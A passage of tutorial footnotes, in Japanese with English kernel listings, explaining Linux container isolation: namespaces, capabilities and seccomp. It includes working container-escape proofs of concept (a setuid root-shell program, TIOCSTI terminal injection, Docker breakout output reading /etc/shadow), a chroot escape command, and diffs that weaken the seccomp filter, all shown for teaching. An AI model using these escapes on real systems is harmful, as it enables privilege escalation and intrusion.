=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Jto0pj...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[*] Found gdb
[*] Found ..
[*] Found qemu
[*] Found lirc
[*] Found healthd.conf
[*] Found subuid
[*] Found locale.gen.pacnew
[*] Found gtk-3.0
[*] Found idn.conf
[*] Found mime.types
[*] Found texmf
[*] Found request-key.conf
[*] Found xinetd.d
[*] Found ssl
[*] Found ifplugd
[*] Found mpd.conf
[*] Found gimp
[*] Found logrotate.d
[*] Found dhcpcd.conf
[*] Found trusted-key.key
[*] Found resolv.conf
[*] Found gemrc
[*] Found libpaper.d
[*] Found hostname
[*] Found kernel
[*] Found audit
[*] Found request-key.d
[*] Found subgid
[*] Found services
[*] Found protocols
[*] Found profile.d
[*] Found Muttrc.dist
[*] Found audisp
[*] Found default
[*] Found resolv.conf.bak
[*] Found ufw
[*] Found man_db.conf
[*] Found gconf
[*] Found geoclue
[*] Found netconfig
[*] Found nanorc
[*] Found environment
[*] Found crypttab
[*] Found brltty.conf
[*] Found logrotate.conf
[*] Found goaccess.conf
[*] Found nsswitch.conf
[*] Found shadow
[+] Match: shadow ino=4334485
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
[redacted]
=> cleaning cgroups...done.

36

リスト87: fs/namei.c:316@c8d2bc:

int generic_permission(struct inode *inode, int mask)
{
	int ret;

	/*
	 * Do the basic permission checks.
	 */
	ret = acl_permission_check(inode, mask);
	if (ret != -EACCES)
		return ret;

	if (S_ISDIR(inode->i_mode)) {
		/* DACs are overridable for directories */
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;
		if (!(mask & MAY_WRITE))
			if (capable_wrt_inode_uidgid(inode,
						     CAP_DAC_READ_SEARCH))
				return 0;
		return -EACCES;
	}
	/*
	 * Read/write DACs are always overridable.
	 * Executable DACs are overridable when there is
	 * at least one exec bit set.
	 */
	if (!(mask & MAY_EXEC) || (inode->i_mode & S_IXUGO))
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;

	/*
	 * Searching includes executable on directories, else just read.
	 */
	mask &= MAY_READ | MAY_WRITE | MAY_EXEC;
	if (mask == MAY_READ)
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_READ_SEARCH))
			return 0;

	return -EACCES;
}

38

CAP_IPC_OWNERはipcpermsでのみ使用されます:

リスト88: ipc/util.c:468@c8d2bc

/**
 * ipcperms - check ipc permissions
 * @ns: ipc namespace
 * @ipcp: ipc permission set
 * @flag: desired permission set
 *
 * Check user, group, other permissions for access
 * to ipc resources. return 0 if allowed
 *
 * @flag will most probably be 0 or S_...UGO from <linux/stat.h>
 */
int ipcperms(struct ipc_namespace *ns, struct kern_ipc_perm *ipcp, short flag)
{
	kuid_t euid = current_euid();
	int requested_mode, granted_mode;

	audit_ipc_obj(ipcp);
	requested_mode = (flag >> 6) | (flag >> 3) | flag;
	granted_mode = ipcp->mode;
	if (uid_eq(euid, ipcp->cuid) ||
	    uid_eq(euid, ipcp->uid))
		granted_mode >>= 6;
	else if (in_group_p(ipcp->cgid) || in_group_p(ipcp->gid))
		granted_mode >>= 3;
	/* is there some bit set in requested_mode but not in granted_mode? */
	if ((requested_mode & ~granted_mode & 0007) &&
	    !ns_capable(ns->user_ns, CAP_IPC_OWNER))
		return -1;

	return security_ipc_permission(ipcp, flag);
}

IPC名前空間をチェックしないipc_check_permsという薄いレイヤーがもう一つあります。

リスト89: ipc/util.c:290@c8d2bc

/**
 * ipc_check_perms - check security and permissions for an ipc object
 * @ns: ipc namespace
 * @ipcprgre: ipc permission set
 * @ops: the actual security routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget(), sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE and that key already exists in the
 * ds IDR.
 *
 * On success, the ipc id is returned.
 *
 * It is called with ipc_ids.rwsem and ipcp->lock held.
 */
static int ipc_check_perms(struct ipc_namespace *ns,
			   struct kern_ipc_perm *ipcp,
			   const struct ipc_ops *ops,
			   struct ipc_params *params)
{
	int err;

	if (ipcperms(ns, ipcp, params->flg))
		err = -EACCES;
	else {
		err = ops->associate(ipcp, params->flg);
		if (!err)
			err = ipcp->id;
	}

	return err;
}

これはipcget_publicによって呼び出されます。

リスト90: ipc/util.c:323@c8d2bc

/**
 * ipcget_public - get an ipc object or create a new one
 * @ns: ipc namespace
 * @ids: ipc identifier set
 * @ops: operations to be called on ipc object creation, permission checks
 *       and further checks
 * @params: the parameters needed by the previous operations.
 *
 * This routine is called by sys_msgget, sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE.
 * It adds a new entry if the key is not found and does some permission
 * / security checkings if the key is found.
 *
 * On success, the ipc id is returned.
 */
static int ipcget_public(struct ipc_namespace *ns, struct ipc_ids *ids,
		const struct ipc_ops *ops, struct ipc_params *params)
{
	struct kern_ipc_perm *ipcp;
	int flg = params->flg;
	int err;

	/*
	 * Take the lock as a writer since we are potentially going to add
	 * a new entry + read locks are not "upgradable"
	 */
	down_write(&ids->rwsem);
	ipcp = ipc_findkey(ids, params->key);
	if (ipcp == NULL) {
		/* key not used */
		if (!(flg & IPC_CREAT))
			err = -ENOENT;
		else
			err = ops->getnew(ns, params);
	} else {
		/* ipc object has been locked by ipc_findkey() */

		if (flg & IPC_CREAT && flg & IPC_EXCL)
			err = -EEXIST;
		else {
			err = 0;
			if (ops->more_checks)
				err = ops->more_checks(ipcp, params);
			if (!err)
				/*
			 * ipc_check_perms returns the IPC id on
			 * success
			 */
				err = ipc_check_perms(ns, ipcp, ops, params);
		}
		ipc_unlock(ipcp);
	}
	up_write(&ids->rwsem);

	return err;
}

ipcget_publicは、IPC_PRIVATEでないリクエストの作成とアクセスを両方処理します。既存のIPCオブジェクトに対してIPC名前空間をチェックしません。IPC_PRIVATEが設定されていない場合、ipc_getによって呼び出されます:

リスト91: ipc/util.c:625@c8d2bc

/**
 * ipcget - Common sys_*get() code
 * @ns: namespace
 * @ids: ipc identifier set
 * @ops: operations to be called on ipc object creation, permission checks
 *       and further checks
 * @params: the parameters needed by the previous operations.
 *
 * Common routine called by sys_msgget(), sys_semget() and sys_shmget().
 */
int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
			const struct ipc_ops *ops, struct ipc_params *params)
{
	if (params->key == IPC_PRIVATE)
		return ipcget_new(ns, ids, ops, params);
	else
		return ipcget_public(ns, ids, ops, params);
}

これは次の場所で呼び出されます:

しかし、shmget、semget、msggetはすべてSystem V IPCセットの一部であり、それらを使用するにはshmat、semop / semtimedop、およびmsgsend / msgrcv~を呼び出す必要があります。これらはすべて名前空間内のオブジェクトに対してのみ機能します:

shmatはすぐにdo_shmatを呼び出します。これは上記にリストされています。

リスト92: ipc/shm.c:1249@c8d2bc

SYSCALL_DEFINE3(shmat, int, shmid, char __user *, shmaddr, int, shmflg)
{
	unsigned long ret;
	long err;

	err = do_shmat(shmid, shmaddr, shmflg, &ret, SHMLBA);
	if (err)
		return err;
	force_successful_syscall_return();
	return (long)ret;
}

semopはsemtimedopを呼び出します:

リスト93: ipc/sem.c:20151@c8d2bc

SYSCALL_DEFINE3(semop, int, semid, struct sembuf __user *, tsops,
			unsigned, nsops)
{
	return sys_semtimedop(semid, tsops, nsops, NULL);
}

リスト94: ipc/sem.c:1816@c8d2bc

SYSCALL_DEFINE4(semtimedop, int, semid, struct sembuf __user *, tsops,
			unsigned, nsops,
			const struct timespec __user *, timeout)
{
	/* ... */
	ns = current->nsproxy->ipc_ns;

	/* ...
	   allocate some space for things.
	   ... 
	*/

	sma = sem_obtain_object_check(ns, semid);

	/* ... */
}

msgsndとmsgrcvはすぐにdo_msgsndとdo_msgrcvを呼び出します。これらも上記にリストされています:

リスト95: ipc/msg.c:743@c8d2bc

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
			int, msgflg)
{
	long mtype;

	if (get_user(mtype, &msgp->mtype))
		return -EFAULT;
	return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

リスト96: ipc/msg.c:1004@c8d2bc

SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		long, msgtyp, int, msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

39

それらが効果的に名前空間化されていることがわかります:

リスト97: enumerate_net_devs.c

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static enumerate_net_devs.c \
/*                   -o enumerate_net_devs" */
/* End: */
#include <stdio.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

int main (int argc, char **argv)
{
	int sock = socket(PF_LOCAL, SOCK_SEQPACKET, 0);
	for (size_t i = 0; i < 100; i++) {
		struct ifreq req = { .ifr_ifindex = i };
		if (!ioctl(sock, SIOCGIFNAME, &req))
			printf("%3lu: %%s\n", i, req.ifr_name);
	}
	return 0;
}
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./enumerate_net_devs
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.7npCN7...done.
=> trying a user namespace...writing /proc/1750/uid_map...writing
/proc/1750/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  1: lo
=> cleaning cgroups...done.

40

ネットワークデバイスのデータ構造は、ユーザー空間のmknodではなく、カーネル内で作成されます。

例えば、ip link add dummy0 type dummyは次を行います:

  • NETLINK_ROUTE netlinkソケットを開きます。
  • それを介してRTM_NEWLINKメッセージを送信します。
  • net/core/rtnetlink.c@c8d2bcのコードがメッセージをrtnl_create_linkにディスパッチし、それが次を行います:

リスト98: net/core/rtnetlink.c:2239@c8d2bc

struct net_device *rtnl_create_link(struct net *net,
	const char *ifname, unsigned char name_assign_type,
	const struct rtnl_link_ops *ops, struct nlattr *tb[])
{
	int err;
	struct net_device *dev;
	unsigned int num_tx_queues = 1;
	unsigned int num_rx_queues = 1;

	/* ... */

	err = -ENOMEM;
	dev = alloc_netdev_mqs(ops->priv_size, ifname, name_assign_type,
			       ops->setup, num_tx_queues, num_rx_queues);
	if (!dev)
		goto err;

	/* ... */
}
  • alloc_netdev_mqsはsetup関数を呼び出します:
/**
 * 	alloc_netdev_mqs - allocate network device
 * 	@sizeof_priv:		size of private data to allocate space for
 * 	@name:			device name format string
 * 	@name_assign_type:	origin of device name
 * 	@setup:			callback to initialize device
 * 	@txqs:		the number of TX subqueues to allocate
 * 	@rxqs:		the number of RX subqueues to allocate
 *
 * 	Allocates a struct net_device with private data area for driver use
 * 	and performs basic initialization.  Also allocates subqueue structs
 * 	for each queue on the device.
 */
struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
		unsigned char name_assign_type,
		void (*setup)(struct net_device *),
		unsigned int txqs, unsigned int rxqs)
{
	struct net_device *dev;
	size_t alloc_size;
	struct net_device *p;

	/* ... */

	setup(dev);

	/* ... */
}
  • dummy_setupが呼び出されます。これはrtnl_link_opsの.setupであるためです:

リスト100: drivers/net/dummy.c:170@c8d2bc

static struct rtnl_link_ops dummy_link_ops __read_mostly = {
	.kind		= DRV_NAME,
	.setup		= dummy_setup,
	.validate	= dummy_validate,
};

リスト101: drivers/net/dummy.c:137@c8d2bc

static void dummy_setup(struct net_device *dev)
{
	ether_setup(dev);

	/* Initialize the device structure. */
	dev->netdev_ops = &dummy_netdev_ops;
	dev->ethtool_ops = &dummy_ethtool_ops;
	dev->destructor = free_netdev;

	/* Fill in device structure with ethernet-generic values. */
	dev->flags |= IFF_NOARP;
	dev->flags &= ~IFF_MULTICAST;
	dev->priv_flags |= IFF_LIVE_ADDR_CHANGE | IFF_NO_QUEUE;
	dev->features	|= NETIF_F_SG | NETIF_F_FRAGLIST;
	dev->features	|= NETIF_F_ALL_TSO | NETIF_F_UFO;
	dev->features	|= NETIF_F_HW_CSUM | NETIF_F_HIGHDMA | NETIF_F_LLTX;
	dev->features	|= NETIF_F_GSO_ENCAP_ALL;
	dev->hw_features |= dev->features;
	dev->hw_enc_features |= dev->features;
	eth_hw_addr_random(dev);
}

言い換えれば、ネットワークデバイスにはユーザー空間のメジャー/マイナーデバイス番号に相当するものはありません。

41

リスト102: kernel/ptrace.c:1079@c8d2bc:

SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
		unsigned long, data)
{
	struct task_struct *child;
	long ret;

	if (request == PTRACE_TRACEME) {
		ret = ptrace_traceme();
		if (!ret)
			arch_ptrace_attach(current);
		goto out;
	}

	child = ptrace_get_task_struct(pid);
	if (IS_ERR(child)) {
		ret = PTR_ERR(child);
		goto out;
	}
	[...]
}

これはptrace_get_task_structを呼び出します:

リスト103: kernel/ptrace.c:1060@c8d2bc:

static struct task_struct *ptrace_get_task_struct(pid_t pid)
{
	struct task_struct *child;

	rcu_read_lock();
	child = find_task_by_vpid(pid);
	if (child)
		get_task_struct(child);
	rcu_read_unlock();

	if (!child)
		return ERR_PTR(-ESRCH);
	return child;
}

これはさらにfind_task_by_vpidを呼び出します。

リスト104: kernel/pid.c:459@c8d2bc:

struct task_struct *find_task_by_vpid(pid_t vnr)
{
	return find_task_by_pid_ns(vnr, task_active_pid_ns(current));
}

これはfind_task_by_pid_nsを呼び出します:

リスト105: kernel/pid.c:452@c8d2bc:

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
	RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
			 "find_task_by_pid_ns() needs rcu_read_lock() protection");
	return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

これは最終的にfind_pid_nsを呼び出します。ここでは、現在のタスクのpid名前空間を共有するstruct pid *のみが見つかることがわかります。

リスト106: kernel/pid.c:366@c8d2bc:

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
	struct upid *pnr;

	hlist_for_each_entry_rcu(pnr,
				&pid_hash[pid_hashfn(nr, ns)], pid_chain)
		if (pnr->nr == nr && pnr->ns == ns)
			return container_of(pnr, struct pid, numbers[ns->level]);

	return NULL;
}

42

killシステムコールはkill_something_infoを呼び出し、これは密な呼び出しチェーン(kill_pid_info -> group_send_sig_info -> do_send_sig_info -> send_sig_info -> send_signal -> __send_signal)をたどって最終的にユーザー名前空間を尊重する__send_signalに到達します:

リスト107: kernel/signal.c:972@c8d2bc

static int __send_signal(int sig, struct siginfo *info, struct task_struct *t,
			int group, int from_ancestor_ns)
{
	/* ... */
	q = __sigqueue_alloc(sig, t, GFP_ATOMIC | __GFP_NOTRACK_FALSE_POSITIVE,
		override_rlimit);
	if (q) {
		list_add_tail(&q->list, &pending->list);
		switch ((unsigned long) info) {
		case (unsigned long) SEND_SIG_NOINFO:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_USER;
			q->info.si_pid = task_tgid_nr_ns(current,
										task_active_pid_ns(t));
			q->info.si_uid = from_kuid_munged(current_user_ns(), current_uid());
			break;
		case (unsigned long) SEND_SIG_PRIV:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_KERNEL;
			q->info.si_pid = 0;
			q->info.si_uid = 0;
			break;
		default:
			copy_siginfo(&q->info, info);
			if (from_ancestor_ns)
				q->info.si_pid = 0;
			break;
		}

		userns_fixup_signal_uid(&q->info, t);
	}
	/*...*/
}

43

man 7 capabilitiesを再度引用します:

	CAP_SETGID
		Make  arbitrary  manipulations   of  process  GIDs  and
		supplementary GID  list; forge  GID when  passing socket
		credentials via  UNIX domain  sockets; write  a group ID
		mapping in a user namespace (see user_namespaces(7)).
	CAP_SETUID
		Make   arbitrary   manipulations    of   process   UIDs
		(setuid(2),  setreuid(2),  setresuid(2),  setfsuid(2));
		forge  UID when  passing  socket  credentials via  UNIX
		domain  sockets; write  a  user ID  mapping  in a  user
		namespace (see user_namespaces(7)).

44

Brad Spenglerの「False Boundaries and Arbitrary Code Execution」を再度引用します。

CAP_SYS_CHROOT: generic: From Julien Tinnes/Chris Evans: if you have write access to the same filesystem as a suid root binary, set up a chroot environment with a backdoored libc and then execute a hardlinked suid root binary within your chroot and gain full root privileges through your backdoor

45

man 2 chroot:

This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing:

mkdir foo; chroot foo; cd ..

46

DockerとLXCでのコンテナの展開に関する問題がありました:

リスト110: Docker 1.3.2 - Security Advisory {24 Nov 2014}

=====================================================
[CVE-2014-6407] Archive extraction allowing host privilege escalation
=====================================================
Severity: Critical
Affects: Docker up to 1.3.1

The Docker engine, up to and including version 1.3.1, was vulnerable to
extracting files to arbitrary paths on the host during ‘docker pull’ and
‘docker load’ operations. This was caused by symlink and hardlink
traversals present in Docker's image extraction. This vulnerability could
be leveraged to perform remote code execution and privilege escalation.

リスト111: Docker 1.6.1 - Security Advisory {150507}

====================================================================

[CVE-2015-3629] Symlink traversal on container respawn allows local
privilege escalation

====================================================================

Libcontainer version 1.6.0 introduced changes which facilitated a mount	namespace breakout upon respawn of a container. This allowed malicious	images to write files to the host system and escape containerization.

リスト112: Security issues in LXC (CVE-2015-1331 and CVE-2015-1334), Tyler Hicksより

* Roman Fiedler discovered a directory traversal flaw that allows
  arbitrary file creation as the root user. A local attacker must set up
  a symlink at /run/lock/lxc/var/lib/lxc/<CONTAINER>, prior to an admin
  ever creating an LXC container on the system. If an admin then creates
  a container with a name matching <CONTAINER>, the symlink will be
  followed and LXC will create an empty file at the symlink's target as
  the root user.
  - CVE-2015-1331
  - Affects LXC 1.0.0 and higher
  - https://launchpad.net/bugs/1470842
  - https://github.com/lxc/lxc/commit/72cf81f6a3404e35028567db2c99a90406e9c6e6 (master)
  - https://github.com/lxc/lxc/commit/61ecf69d7834921cc078e14d1b36c459ad8f91c7 (stable-1.1)
  - https://github.com/lxc/lxc/commit/f547349ea7ef3a6eae6965a95cb5986cd921bd99 (stable-1.0)

* Roman Fiedler discovered a flaw that allows processes intended to be
  run inside of confined LXC containers to escape their AppArmor or
  SELinux confinement. A malicious container can create a fake proc
  filesystem, possibly by mounting tmpfs on top of the container's
  /proc, and wait for a lxc-attach to be ran from the host environment.
  lxc-attach incorrectly trusts the container's
  /proc/PID/attr/{current,exec} files to set up the AppArmor profile and
  SELinux domain transitions which may result in no confinement being
  used.
  - CVE-2015-1334
  - Affects LXC 0.9.0 and higher
  - https://launchpad.net/bugs/1475050
  - https://github.com/lxc/lxc/commit/5c3fcae78b63ac9dd56e36075903921bd9461f9e (master)
  - https://github.com/lxc/lxc/commit/659e807c8dd1525a5c94bdecc47599079fad8407 (stable-1.1)
  - https://github.com/lxc/lxc/commit/15ec0fd9d490dd5c8a153401360233c6ee947c24 (stable-1.0)

Tyler

これらはすべて非常に興味深いものです!もっと書きたいです。

47

Dockerのseccompポリシーには明示的なブラックリストが含まれていないため、追跡が少し困難です。そのため、それを見つけるコードを書きました。

    #!/usr/bin/env python3

    import gzip
    import requests
    import re
    import sys

    url = "https://raw.githubusercontent.com/docker/docker/5ff21add06ce0e502b41a194077daad311901996/profiles/seccomp/default.json"

    conditional = set()
    allowed = set()
    disallowed = set()

    for entry in requests.get(url).json()["syscalls"]:
        if entry["args"]:
           conditional |= set(entry["names"])
        else:
            allowed |= set(entry["names"])

    manpage = "/usr/share/man/man2/syscalls.2.gz"

    with gzip.open(manpage, "r") as f:
        ready = False
        for _line in f:
            line = _line.decode("utf-8")
            # table end
            if ready and line == ".TE\n":
                break
            match = re.match(r"\\fB(.+?)\\fP(.+)", line)
            if match:
                if match.group(1) == "System call":
                    ready = True
                elif (match.group(1) not in allowed
                      and match.group(1) not in conditional):
                    disallowed.add(match.group(1))

    print("Conditionally allowed:")
    for c in sorted(conditional):
        sys.stdout.write("~%s~, " % c)
    print("\n\nDisallowed:")
    for d in sorted(disallowed):
        sys.stdout.write("~%s~, " % d)
    sys.stdout.write("\n")

Conditionally allowed: clone, personality,

Disallowed: _sysctl, add_key, alloc_hugepages, bdflush, clock_adjtime, clock_settime, create_module, free_hugepages, get_kernel_syms, get_mempolicy, getpagesize, kern_features, kexec_file_load, kexec_load, keyctl, mbind, migrate_pages, move_pages, nfsservctl, nice, oldfstat, oldlstat, oldolduname, oldstat, olduname, pciconfig_iobase, pciconfig_read, pciconfig_write, perfctr, perfmonctl, pivot_root, ppc_rtas, preadv2, pwritev2, quotactl, readdir, request_key, set_mempolicy, setup, sgetmask, sigaction, signal, sigpending, sigprocmask, sigsuspend, spu_create, spu_run, ssetmask, subpage_prot, swapoff, swapon, sync_file_range2, sysfs, uselib, userfaultfd, ustat, utrap_install, vm86, vm86old

48

リスト114: self_setuid.c

/* -*- compile-command: "gcc -Wall -Werror -static self_setuid.c -o self_setuid" -*- */
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main (int argc, char **argv)
{
	if (argc == 2 && !strcmp(argv[1], "shell")) {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ setresuid(0, 0, 0) failed: %%m\n");
			return 1;
		}
		return system("sh");
	} else {
		if (chown(argv[0], 0, 0)) {
			fprintf(stderr, "++ chown failed: %%m\n");
			return 1;
		}
		int self_fd = 0;
		if (!(self_fd = open(argv[0], 0))) {
			fprintf(stderr, "++ fopen failed: %%m\n");
			return 1;
		}
		if (chmod(argv[0], S_ISUID | S_IXOTH)
		    && fchmod(self_fd, S_ISUID | S_IXOTH)
		    && fchmodat(AT_FDCWD, argv[0], S_ISUID | S_IXOTH, 0)) {
			fprintf(stderr, "++ chmod  / fchmod / fchmodat failed: %%m\n");
			close(self_fd);
			return 1;
		}
		close(self_fd);
		return 0;
	}
}

リスト115: allow_chmod.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b471a69 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -151,18 +151,6 @@ int syscalls()
 	ctx = NULL;
 	fprintf(stderr, "=> filtering syscalls...");
 	if (!(ctx = seccomp_init(SCMP_ACT_ALLOW)) 
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(chmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmod), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISUID, S_ISUID))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(fchmodat), 1,
-				SCMP_A2(SCMP_CMP_MASKED_EQ, S_ISGID, S_ISGID))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(unshare), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EXwjdL...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ chmod / fchmod / fchmodat failed:
Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$sudo ./contained.allow_chmod -m . -u 0 -c ./self_setuid
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.35HO0W...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$./self_setuid shell
sh-4.3#whoami
root
sh-4.3# exit
[lizzie@empress l-c-i-500-l]$rm ./self_setuid

49

CVE-2016-7545、SELinuxのバグのために最近これについて聞きました:

リスト118: CVE-2016-7545 -- SELinux sandbox escape Federico Bentoより

Hi,

When executing a program via the SELinux sandbox, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
escape the sandbox.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
     char *cmd = "id\n";
     while(*cmd)
      ioctl(0, TIOCSTI, cmd++);
     execlp("/bin/id", "id", NULL);
}

$ gcc test.c -o test
$ /bin/sandbox ./test
id
uid=1000 gid=1000 groups=1000
context=unconfined_u:unconfined_r:sandbox_t:s0:c47,c176
$ id    <------ did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

Bug report:
https://bugzilla.redhat.com/show_bug.cgi?id=1378577

Upstream fix:
https://marc.info/?l=selinux&m=147465160112766&w=2
https://marc.info/?l=selinux&m=147466045909969&w=2
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Federico Bento.

リスト119: tiocsti.c

/* -*- compile-command: "gcc -Wall -Werror -static tiocsti.c -o tiocsti" -*- */
/* adapted from http://www.openwall.com/lists/oss-security/2016/09/25/1 */
#include <unistd.h>
#include <sys/ioctl.h>
#include <stdio.h>

int main()
{
     for (char *cmd = "id\n"; *cmd; cmd++) {
	     if (ioctl(STDIN_FILENO, TIOCSTI, cmd)) {
		     fprintf(stderr, "++ ioctl failed: %%m\n");
		     return 1;
	     }
     }
     return 0;
}

リスト120: allow_tiocsti.diff

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..5fb25bd 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -167,8 +167,6 @@ int syscalls()
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(clone), 1,
 				SCMP_A0(SCMP_CMP_MASKED_EQ, CLONE_NEWUSER, CLONE_NEWUSER))
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ioctl), 1,
-				SCMP_A1(SCMP_CMP_MASKED_EQ, TIOCSTI, TIOCSTI))
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./tiocsti 
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.P5QATt...done.
=> trying a user namespace...writing /proc/1819/uid_map...writing
/proc/1819/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
